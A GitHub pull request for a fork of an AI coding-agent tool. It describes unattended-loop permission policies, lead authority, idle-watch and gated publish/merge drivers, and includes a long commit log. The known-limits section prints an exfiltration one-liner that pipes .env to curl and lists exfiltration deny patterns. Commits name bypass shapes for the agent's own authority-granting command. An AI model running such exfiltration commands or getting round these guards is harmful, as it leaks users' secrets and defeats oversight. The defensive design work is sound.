Skip to content

release: agents that keep working — lead authority, escalation ladder, idle-watch, scoped permissions, publish policy - #105

Merged
androidand merged 67 commits into
devfrom
release/no-stop-1
Oct 2, 2026
Merged

androidand merged 67 commits into
devfrom
release/no-stop-1

Conversation

@androidand

Copy link
Copy Markdown
Owner

What this is

A release aimed at one outcome: agents keep working instead of stopping, idling, or handing every blocker to the human. It consolidates the work planned in #97 (epic) with children #98, #99, #100, #101, #104 and the loop fixes below. 99 files, +8356/-285 against dev.

What changes for users (behaviour changes first)

  • Prompt-mode /loop runs are now fenced by default. They carry the same authority ceiling queue runs already had (no push, tag, remote changes, deploy, ssh). Before, they ran with the session's ordinary authority. Opt out: experimental.unattended_permissions: "full".
  • Unattended permission questions no longer hang. Policy experimental.unattended_permissions: scoped (default) allows a closed in-project list (bash, read, edit, glob, grep, lsp, todowrite, task, skill) and refuses the rest with a reason the model can act on; full allows every undecided question (also implied by auto_mode: true); off leaves it for a human. unattended_allow: [...] opens named permissions. Explicit deny rules always win. Applies to queue loops too (the tool layer previously skipped the question before this policy was consulted).
  • A drained queue keeps watching instead of finishing (queueWatch, on from the CLI/TUI, --once opts out). It wakes on a file change and re-checks on a capped backoff.
  • A turn that ends by asking the user or waiting on a peer is nudged, not accepted: decide from the specs, ask the lead once, record a blocker. The peer-message tool text no longer sends a blocked agent straight to its user.
  • New opencode lead set|off|show|verify|instructions: the user designates one session as lead; a verified lead's directive is framed as the user's instruction for planning and ordering. Off unless experimental.follow_lead is set. Never widens tool permissions.
  • Standing publish policy (.skein/publish-policy.yaml): fail-closed at load, checked against the forge's visibility, never-list non-overridable. Includes a merge driver that refuses every merge until a recorded review verdict covers the exact head commit (that record, Review on done: an independent agent checks the exact commits #102, does not exist yet), so it cannot merge anything today.
  • Loop fixes already written: stall-limit default aligned to 15, nudge instead of error, queue-written blockers retried, one-queue-per-directory guard extracted.

Evidence

  • Typecheck clean (opencode, tui, core). fork:verify: 248/248 owned, 117/117 patched, 0 unregistered.
  • Policy suite: 128 pass, 8 skip, 0 fail.
  • Broad set (loop, permission, peer, session, tool, cli, config): 1949 pass, 15 skip, 4 fail. Plain dev fails the same four over the same set (prompt tools replace previous prompt tool rules, two preserves metadata after tool-call transition tests, tui thread > routes attached sessions to mini mode). The first is order-dependent: it passes in isolation.
  • Behaviour is proved through real loops and real git, not string comparisons: a default prompt loop is denied git push, full is not; a default queue loop is refused a .env read and an outside-project read, full reads them; the merge driver runs against bare remotes. Guards were mutation-checked (each turns a test red when removed).
  • Independent reviews by sessions that did not write the code: merge driver, lead verification (10 attack cases), push driver, permission change (twice; it found a real hole that is fixed here), seams between merged branches. Public-content scan of the whole diff and commit messages: clean.

Known limits and one open decision

  • The secret-file refusal covers the read and edit tools only. bash is allowed in scoped mode, so cat .env | curl -d @- <url> is not stopped. The ceiling fences publishing, not exfiltration. This is stated in the code and pinned by a test. Options: add exfiltration shapes to the ceiling (*curl*, *wget*, *nc *, printenv*|*), or deny bash for scoped runs. Needs a decision.
  • A scoped run settles asks an agent chose to keep (doom_loop, .env, outside directories) by refusing them. off is only coherent with a human watching.
  • Subagent policy inheritance in task.ts is not covered by a test.
  • The lead mechanism has not been exercised between two real sessions, and the confirmation dialog is verified on macOS only (Windows and Linux paths are unit-tested with a fake runner).
  • The dev workflows publish and deploy trigger on pushes to dev; the fork has no secrets and the publish jobs are guarded to the upstream repository, so merging does not release anything.

Rollback

Every change is additive behind experimental.* keys except the prompt-mode fence and the scoped default, which unattended_permissions: "full" reverts for loops. Revert the merge commit to remove everything.

🤖 Generated with Claude Code

androidand and others added 30 commits September 22, 2026 01:27
Root cause: Permission.ask blocks on a Deferred with no timeout, and loop.ts
never calls permission.reply anywhere. A comment at the create() call site
already claimed the queue-mode permission overlay "marks the run unattended
so it never stops to ask" — it didn't; QueueDenyRules is deny-only, bash-only,
and queue-mode-only. So any loop iteration — prompt mode included — that hits
an ask not already covered by an explicit allow (e.g. a role's own
websearch: "ask") hung forever, unattended. Turning the loop off "fixed" it
only because cancel() aborts the in-flight turn; nothing was ever answered.

Per explicit instruction: a loop should never stop to ask, no exceptions.
New session/unattended.ts tracks sessions with nobody to answer a prompt;
Permission.ask auto-allows an "ask" for one (an explicit "deny" is untouched).
loop.ts marks its session for every mode, not just queue, and unmarks on
finalize/cancel. task.ts propagates the mark to subagents spawned under an
unattended session, and unmarks on completion.

QueueDenyRules' scope is untouched — this removes the hang, it does not
relax or extend anything already an explicit deny.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
…stale blockers

A detected agent loop now injects a synthetic user message asking the
model to change approach and continues; the terminal error only fires
after LoopMaxSessionBreaks consecutive detections.

/backlog exited immediately because .skein/blocker.md files written by
earlier runs were permanent, so every later run resolved an empty queue
and reported "completed". A new run now retries blockers the queue wrote
itself (hand-written ones are kept), and a run that attempted nothing
with blocked changes remaining ends as an error naming them.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
… escalation, done handoff, publish policy, review on done

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…#97-#102)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…p dependency on the Go skein

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…nt of the grant (D7)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…nd the claims dependency

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Closed schema validated at load (scalar-for-mapping, unknown keys, expiry,
dead pid, unsafe id, >24h lifetime all rejected), owner/mode-checked file
read, and verifyLead comparing the authenticated sender to the grant.
Mutation-checked: removing the pid check, the follow check or the mode
check each fails a test.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…decar path

Adds the lead directive frame to formatPeerMessage (only when the caller
supplies a verdict), reads the grant fresh on every inbound message, and
gates it behind experimental.follow_lead (off by default). The sender is
the authenticated socket identity, never the message text.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…n-presence check

set identifies the calling session by process ancestry and requires a native
dialog or typed terminal confirmation. A smoke test showed a model's shell
resolves to its own session, so the confirmation is the barrier, not the
ancestry.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…Linux)

Native dialog per platform with injected runner, display detection on Linux,
text passed via env/args never spliced into scripts, Windows skips uid/mode
checks and finds the parent process through CIM. Each branch unit-tested and
mutation-checked.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Phase 1 of standing-publish-authority: the closed schema, the loader, and
the never-list constant. Nothing consumes a grant yet; this only decides
whether one exists.

Loading fails closed. Every rejection returns "no grant" with one reason
rather than a partially-applied policy, because a policy that still parses
but has quietly stopped meaning anything reads as authorization. An absent
file and an invalid file are deliberately indistinguishable to callers.

Checks, each observed red before being believed: unknown key (closed
schema), scalar for mapping, a branch pattern covering the default branch,
a remote not pointing at the asserted repo, a visibility that disagrees
with the forge, and an unreachable forge. The unreachable case is the one
that matters most: treating "could not check" as "checked and fine" is the
direction that fails open.

The default branch is read from origin/HEAD rather than assumed, and the
same matcher Permission.evaluate uses decides whether a pattern covers it,
so this check and the eventual gate cannot disagree.

Visibility is asked of the forge, never inferred from the remote URL. The
loader is a pure function of injected dependencies; systemDeps is the only
place that shells out, which is what lets each rejection be exercised
without a repository or a network.

Narrowed `*publish.ts*` to `*run*publish.ts*` / `*publish.ts*run*`. As
written it also denied `git add` on any file with that name, which a
standing grant makes permanent. QueueDenyRules still has the broad
pattern; task 2.2 should decide whether it gets the same fix.
…eDenyRules false positive

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Three changes from review.

Rejection reasons are now a closed set of named tokens (Reason) with the
per-repository specifics in a separate `detail`. Phase 2 logs this in the
session's line, and a log that can only be read by pattern-matching prose
is a log nobody can alert on. Tests pin the token, not a substring.

The default branch falls back from origin/HEAD to the current branch's
upstream, so a clone that never ran `remote set-head` still resolves. An
upstream of origin/feature/x is refused rather than reduced to "feature",
because that would name a branch that is not the default one. If neither
resolves, load denies: guessing is what a standing grant must not rest on.

The live gh test found a bug the injected tests structurally could not.
`gh repo view --json visibility` answers "PUBLIC", while a policy file
reads `visibility: public`, so every real policy reported a visibility
mismatch and the grant could never have applied. The reported value is now
lower-cased at the boundary, keeping the schema strict.

The live tests are behind PUBLISH_POLICY_LIVE=1 since they need network and
credentials. Verified in both modes: 18 pass live, 16 pass and 2 skipped
offline. All eight rejection mutations re-confirmed red.
The SDK loop defaults said noProgressLimit 10 while loop.ts said 15. Both the
CLI and the TUI send the value explicitly, so the server's
`?? DefaultNoProgressLimit` was unreachable in normal use and the stall guard
fix never reached a real user.

Add test/loop/loop-defaults.test.ts, which reads both files as text and
asserts the defaults agree. The server cannot import the SDK, so the two
copies can only be compared by reading them; the test throws on a partial
match so a renamed or removed default fails rather than passing quietly.

Verified by deliberately setting the SDK back to 10 and observing the guard
turn red (4 pass / 2 fail) before restoring it.
…ding

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Ancestry cannot identify an opencode session (child-process sidecar, no
session id in the shell env), so the user names it by exact id or pid.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Phase 2 of standing-publish-authority: deriveRules/sessionRules and the
prompt section rendering, plus the `opencode lead set` shell deny.

`Permission.evaluate` resolves with findLast, so the LAST matching rule
decides. That single fact is what the rule ordering rests on, so
sessionRules puts allows first and the never-list last, and the ordering is
tested with commands that match BOTH an allow shape and a never-list entry
— a command only the deny matches cannot tell you anything about layering.
`git commit -m "docs: run publish.ts"` is the realistic case. The test is
paired with its control: the same command under reversed layers must come
back allow, or the deny verdicts were never coming from the order.

deriveRules enforces that no emitted allow is driver-executed or
never-list denied. It does so twice, by name and by asking the never-list,
and on today's lists the two filters overlap, so neither is isolable by
mutating it alone. That is stated in the code and the test rather than
implied: the property is asserted once, and removing both filters turns it
red. A second test pins the emitted set exactly, because a filter that
removed everything would also satisfy the property while granting nothing.

The allows gate command shapes, not the branch the session is on. "Never
commit to the default branch" cannot be a shell pattern and stays with the
commit gate.

Adds `*opencode*lead*set*` to the deny ceiling. Minting lead authority from
a shell is self-confirming: the TUI asks the human, but a model's shell
resolves to its own session. Six bypass shapes are denied. One is not:
`echo lead | xargs opencode set` supplies the keyword at runtime, so it is
recorded in the residual list — and unlike the other residuals, stripping
credentials does not mitigate it, so the human-presence confirmation is
what actually protects it. This deny is the second layer, not the only one.

Left alone per your instruction: the `*publish.ts*` narrowing in
QueueDenyRules remains an operator decision.

76 pass offline, 28 with PUBLISH_POLICY_LIVE=1, typecheck clean.
…real barrier

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Completes 2.1: the prompt section is applied, and the kimi ask-each-time
clause is lifted, both only when a valid policy exists.

The clause removal matters because that one sentence makes a durable grant
impossible by construction — it asks for confirmation on every git mutation
"even if the user has confirmed in earlier conversations", which no
standing authorization can ever satisfy. It is matched as one exact
sentence and removed from the string at runtime; kimi.txt on disk is
unchanged, so the shipped prompt stays as authored and the removal stays
conditional. Only that sentence goes: the surrounding rule the user wrote
remains, so a grant does not widen into "commit whenever".

The ungranted path is byte-for-byte unchanged, and that is tested rather
than asserted — which immediately paid off. composeSystem first filtered
only the outer array, so an empty base prompt survived and every
ungranted session gained a leading newline. The pre-policy expression
flattened before filtering; the test comparing both forms caught it.

The section does not claim the branch ceiling is enforced on its behalf.
The derived allows gate command shapes, and no shell pattern can see which
branch is checked out, so the section tells the model to check the branch
itself. Otherwise the prompt would promise safety the code cannot keep.

`current()` caches on the policy file's mtime rather than per directory:
the lookup shells out to gh and git, which has no place on the request hot
path, but an edited policy should still take effect on the next request.
InstanceState would also cache, but it needs a scoped layer and a grant
lookup is not worth making this module a service.

83 pass offline, 35 with PUBLISH_POLICY_LIVE=1, and the whole session suite
(499 tests) still passes.
Phase 3.1 and 3.2: what the commit and push paths decide before acting.
Pure functions over repo state, not executors — Phase 4 wires them to real
commands, and keeping the decision separate is what lets every refusal be
tested without a repository or a remote. Each refusal carries a reason,
because a driver that says no without saying why produces a log nobody can
act on.

mayCommit exists because the derived allow cannot do this job. That allow
gates the command shape, and no shell pattern can see which branch is
checked out, so the ceiling that matters most needed a gate. It re-checks
the default branch even though the loader already rejects a policy naming
it: the check that stops a commit should not depend on the loader having
run.

mayPush makes the way-of-working tracking rule mechanical. An upstream-less
branch is the shape that publishes somewhere nobody intended, so it is
refused rather than pushed and hoped for. The upstream's remote must also
be the push target, and the upstream branch must match the granted push
patterns even when the local branch does — where a push lands is not the
same question as what is checked out.

pushArgv returns an array and never a shell string, so a branch name
cannot introduce a second command.

stagesExplicitly refuses the unambiguous whole-tree forms. `git add .` and
a bare `git add` are recorded as a residual instead: no wildcard separates
them from `git add ./src/x.ts`, and denying the latter to catch the former
would be a worse trade than naming the gap.

Seven of eight mutations observed red first. The eighth did not, because my
remote-grant test used an upstream pointing at `origin` while pushing to
`fork`, so the upstream check refused anyway and the test passed for the
wrong reason. It now uses a self-consistent ungranted remote, where only
the grant check can be the thing refusing.

98 pass across the policy and authority suites, 499 in the session suite,
typecheck clean. Not pushing, and stopping before 3.3 as instructed.
The cache was keyed on the policy file's mtime alone, which is not a
sufficient key. The loader's verdict depends on facts outside that file —
the forge's visibility, the remote's URL, origin/HEAD — so a repository
flipped from private to public, or a remote repointed, left the mtime
untouched and the cached grant kept applying. That is the "still parses but
stopped meaning anything" failure this plan exists to prevent, reached
through the very mechanism meant to avoid repeating work.

Entries now carry a checkedAt and expire after 60s, so the full load
re-runs periodically regardless of the file. Two things follow that are
worth stating because they are easy to get backwards: an expired entry is
re-loaded rather than trusted, and loadNow does no caching at all — the
prompt path can afford a slightly stale instruction, a driver about to
publish cannot.

The overwrite-on-failure is a cost measure, not the safety mechanism. A
mutation that skips it stayed green, because the stale entry's own
checkedAt is already past the TTL and would be re-loaded anyway; safety
comes from refusing to serve anything unverified. The comment now says
that rather than claiming a guarantee the code does not depend on.

cachedLoad takes injected dependencies so the cache can be driven against
a fake clock. There is one implementation: current() is the production
wrapper over it, not a parallel copy. Tests drive cachedLoad with
TestClock, exercising the TTL boundary exactly instead of sleeping.

Red first, as asked: against the mtime-only version, the visibility flip,
the unreachable forge and the repointed remote all fail.

Also documents in drivers.ts that callers must pass loadNow, never current.

104 pass across the policy and authority suites, 56 with
PUBLISH_POLICY_LIVE=1, typecheck clean.
fork:verify refuses a push that adds fork files without declaring them,
which is the hook working as intended: the manifest is the inventory of
what this fork adds on top of upstream, and an undeclared addition is
exactly what it exists to catch.

owned, for the new files:
  src/policy/{publish,drivers}.ts
  test/policy/{publish,drivers,cache}.test.ts
  test/loop/loop-defaults.test.ts

patched, for the upstream files this branch edits:
  src/session/llm/request.ts — injects the standing authorization, and only
    when a policy grants
  AUTOMATION_FEATURES.md — the documented no-progress default
  sdk/js/src/v2/loop-args.ts — the SDK copy of the loop defaults

Each carries a note saying why, so the entry explains the constraint rather
than just naming the file.
fork:verify refuses a push that adds fork files without declaring them.

owned: test/loop/loop-defaults.test.ts
patched: AUTOMATION_FEATURES.md, sdk/js/src/v2/loop-args.ts

Both notes record why the guard exists: the SDK copy of the loop defaults
drifted from the server copy, and because both front ends send the value
explicitly the server fallback was unreachable, so the stall fix never
reached a real user. The test is what keeps them in step now.
…nd merge target

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…ction

loop-done-handoff 0.3. The rule existed inline at two entry points with one
difference between them: the prompt-to-queue transition excludes the loop
that is asking, because at that moment it is itself the live loop for the
directory. An invariant written twice with a subtle difference is one
refactor away from being wrong in a way nothing covers, so the difference
becomes a parameter. `activeQueueOver(directory, exceptID)`.

Behaviour is unchanged and the existing tests stayed green — but checking
that turned up something the task did not ask for. Two of the rule's three
predicates are covered; `!isTerminal(status)` is not. Breaking it so a
finished loop still counts as active left the whole loop suite green, so a
directory could be permanently unusable after its first queue run while the
guard that protects the cursor silently did double duty as the thing that
kills the driver.

Added the missing case: a finished queue loop must not keep blocking its
directory. Observed red against the broken predicate first.

Two of my own mutations during this were faulty and I only caught them by
re-reading the output. One segfaulted Bun, which my harness reported as
"no result" and I nearly read as "no failures"; the other was a no-op,
because I appended `&&` to an expression I meant to change. A third run
mis-parsed "1 fail" as "1fail" and called a red result green. Re-run with
correct parsing: mode predicate red, exceptID red, terminal predicate red
once the new test exists.
…re its files

index.ts stays identical to upstream; the new command and its tests are
declared as owned in the fork manifest. fork:verify: 232/232 owned,
112/112 patched, 0 unregistered.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…lename

Four decisions from our user, confirmed directly rather than relayed.

Rename. src/policy/publish.ts becomes publish-policy.ts. The never-list keeps
`*publish.ts*` byte-identical to QueueDenyRules, so no standing deny was
weakened and the false positive disappears because the module is named
differently, not because the rule got softer.

Granted sessions may push in-shell. deriveRules now emits one allow per
granted remote/branch pair — `git push origin loop/*`, anchored, no room for
flags — because a granted session keeps its credentials. This inverts the
layering, and the ordering is now the whole mechanism:

  1 never-list denies (including *git*push*)
  2 granted allows
  3 force-rewrite denies

Layer 2 must follow layer 1 or a push grant is unreachable, which was the
old situation. Layer 3 must come last so `git push origin loop/x --force`
loses even though it matches a granted push. That third layer is why force
denies are their own list rather than folded into the never-list. A control
test asserts that moving layer 3 earlier turns a forced push back into an
allow, so the denials are demonstrably coming from the order.

Merge stays out of the shell, withheld for evidence rather than credentials:
it needs gates, a recorded verdict for the exact head SHA, and CI. No allow
is emitted for it even when `merge.into` is `*`.

Merge driver (3.3), built and enabled rather than shipped disabled. It
requires a verdict whose sha equals the head being merged, stops on an empty
merge-base, checks only the evidence kinds the policy lists, and emits argv
with no --no-verify and no fast-forward flag. Until #102 records verdicts it
will refuse every merge — that is gating on evidence, not a disabled flag,
and the distinction was the point.

`-f` needed its own pattern: `*git push*-f*`, because a bare `*-f*` would
deny a large fraction of all commands. Known false positive is
`git push --follow-tags`, recorded rather than left to be found.

I dropped a `+refs` deny entry I had added: the anchored allow already
refuses a +refspec push, so the entry was indistinguishable from the
anchoring in any test. The test now pins the anchoring itself, which is the
property that would actually reopen the gap.

Also: `current()` takes `now` as a parameter instead of reading the Clock
service. Reading Clock widened `prepare`'s context for every caller, which
surfaced as a type error in an unrelated test; passing the time is simpler
and makes the TTL exactly controllable without a test-clock layer.

Observed red before green: five ordering/allow mutations and six merge-gate
mutations, each confirmed to fail first.

116 pass across the policy and authority suites, 68 with
PUBLISH_POLICY_LIVE=1, typecheck clean. The intermittent
`preserves metadata after tool-call transition` failures in test/session are
pre-existing: reproduced on a worktree with none of this work, 2 failures
then 1 across four runs.
androidand and others added 24 commits October 1, 2026 23:17
The send_peer_message guidance ended 'say that to your own user rather than
asking the peer again'. With 'send once' that taught agents to message a peer
once and hand the blocker to the human. It now says: keep working, ask the
lead once, record the blocker, and go to the user only for what needs a
human. Every anti-storm rule is kept and pinned by a test.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Finishes the push side. A driver-executed push never passes through
Permission.evaluate, so the shell patterns that refuse
`git push origin loop/x:dev` do not apply to it — the argv has to be safe on
its own terms.

Three checks, because they answer questions the others cannot:
  1. is the remote NAME well formed, so it cannot be read as an option
  2. is the branch NAME well formed, so the refspec cannot be split
  3. is the refspec's DESTINATION inside the grant
and `--` ends option parsing, so a value that slipped past a name check is
still read as positional.

I checked what the pre-existing push argv actually did before changing it,
rather than assuming the merge driver's bug applied here too. It does not:
`git push -s origin loop/x` errors out with a usage dump and leaves the remote
untouched, and a colon refspec is rejected outright. So the old pushArgv was
fragile but not exploitable in the way mergeArgv was — this module makes it
explicitly safe instead of accidentally safe.

New file rather than an edit to src/policy/drivers.ts, which another session is
reviewing. pushArgv and mayPush remain there; this module does not touch them.

Real git, scratch bare remotes, behind PUBLISH_POLICY_GIT=1: an allowed push
advances only the granted branch and leaves the default branch where it was; a
refused push runs nothing and leaves the remote's refs identical; and the argv
this module builds is one real git accepts with exit 0. That last one exists
because the merge driver's argv was `git merge --no-edit squash dev <sha>`,
which real git rejects and no test ran.

Mutation notes, since two checks would otherwise look load-bearing when they are
not. The remote NAME check is masked by the remote grant check — a policy cannot
grant `-s` — until you write a policy that grants a malformed remote, which is
exactly the typo case it defends, so there is a test for that. The destination
check and the branch grant check mask each other for this argv, because the
refspec is derived from `branch` and so asks the same question twice; the comment
says so and gives the change that would separate them.

272 pass across test/policy and test/loop, typecheck clean.
…the ladder, not silence

classifyStop reads the closing paragraph of a turn (precision first: summaries
and answered questions are not stops) and the next prompt, in both prompt and
queue mode, tells the model to decide from the specs, ask the lead once, record
a blocker, and use the user only for what needs a human. Mutation-checked and
proved end to end: removing the loop.ts wiring turns the loop test red.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
The old driver produced 'git merge --no-edit squash dev <sha>', which git
rejects, and only compared that string in tests. A head starting with '-' was
read as a git option. merge.by was never checked and gates/CI evidence was not
tied to the head.

Now: an executor that merges onto the fetched remote tip in a throwaway
worktree, with a lock, full 40-char SHAs and validated ref names, evidence
bound to the exact head, a refusal when the target has moved (so the
published tree equals the reviewed tree, asserted), a no-force push from the
real checkout so the repository's pre-push hook runs, and rebase refused.
31 real-git tests; every guard mutation-checked.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…d lessons

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… an explicit choice

An unattended /loop session used to auto-allow EVERY undecided permission
ask, which removed the human from all of a loop's decisions. Now:
- scoped (default): allow a closed in-project list (bash, read, edit, glob,
  grep, lsp, todowrite, task, skill, doom_loop); refuse external_directory,
  web, plan mode and MCP with a reason the model can act on instead of
  hanging; experimental.unattended_allow opens named permissions.
- full: allow every undecided ask (full auto); also implied by auto_mode.
- off: leave the question for a human.
An explicit deny always wins. Subagents inherit the parent's policy.
Mutation-checked; subagent inheritance in task.ts is not covered by a test.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
queueFingerprint reads tasks.md, .skein/blocker.md and .openspec.yaml of
every candidate from the working tree (no git). Idle-watch re-resolves the
queue when it moves, or when the capped backoff expires, so an idle agent
does not run the per-change resolve on every poll. No cost today in the
release build (resolveQueue does not shell out here); this protects the
branch-aware reader when it lands.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…ement

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… not idle

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…nly prompt-mode ones

session/tools.ts skipped the permission question entirely for any queue
session (the push-deny ceiling) and for global auto mode BEFORE
Permission.ask, so the scoped policy was never consulted for the main swarm
mode: queue loops still auto-allowed everything not denied, including reads
outside the project. toolAskVerdict now decides at that layer: global auto is
full auto, a marked session follows its policy, an unmarked ceiling session
keeps the old behaviour. Proved through a real queue loop: the default
refuses an outside read with a reason, full auto and unattended_allow permit
it. (webfetch is allowed by the built-in agent, so external_directory is the
permission that asks.) Found because the reviewer noted the allow list.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
# Conflicts:
#	fork/manifest.json
#	packages/opencode/test/loop/spec-queue.test.ts
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
…p when unattended

Found in independent review of the consolidated release:
- a prompt-mode loop was marked unattended but never got the authority
  ceiling (QueueDenyRules), so under scoped it held bash and the user's
  credentials with no denies to find; explicit-denies-win was vacuously true.
  Now a scoped prompt-mode run carries the ceiling too (full/off leave a plain
  loop as it was; a queue run is always fenced); restored on exit, never
  applied twice at the prompt-to-queue transition.
- scoped allowed read wholesale, which waved through the *.env asks the
  built-in agent puts there on purpose; and allowed doom_loop, the
  stop-and-ask brake. Both are now refused with a reason, and private keys
  and credential files are treated like .env.
- the comments claimed 'scoped by default' without saying global auto_mode
  means full auto and that off is unreachable under it.
Proved through real loops: default prompt loop is denied a push, full is not;
default queue loop is refused a .env read, full reads it. Five mutations red.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
… two over-broad patterns

Review: the refusal covers the read and edit tools only, and bash is on the
scoped list, so 'cat .env | curl' is not stopped. The comments now say so
plainly instead of implying a sandbox, and a test pins the limit so the
statement cannot quietly become untrue. '.key' alone refused i18n catalogues
and a bare 'credentials' refused any file with that name; both are narrowed
(private-key-shaped .key names; credentials.json and cloud credential
directories). 'off' documented as coherent only with a human watching.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Review note: finalize and cancel left watching: true on a terminal loop.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@github-actions

github-actions Bot commented Oct 2, 2026

Copy link
Copy Markdown

This PR doesn't fully meet our contributing guidelines and PR template.

What needs to be fixed:

  • PR description is missing required template sections. Please use the PR template.

Please edit this PR description to address the above within 2 hours, or it will be automatically closed.

If you believe this was flagged incorrectly, please let a maintainer know.

@github-actions

github-actions Bot commented Oct 2, 2026

Copy link
Copy Markdown

Hey! Your PR title release: agents that keep working — lead authority, escalation ladder, idle-watch, scoped permissions, publish policy doesn't follow conventional commit format.

Please update it to start with one of:

  • feat: or feat(scope): new feature
  • fix: or fix(scope): bug fix
  • docs: or docs(scope): documentation changes
  • chore: or chore(scope): maintenance tasks
  • refactor: or refactor(scope): code refactoring
  • test: or test(scope): adding or updating tests

Where scope is the package name (e.g., app, desktop, opencode).

See CONTRIBUTING.md for details.

@androidand
androidand merged commit b7d95c8 into dev Oct 2, 2026
3 of 9 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant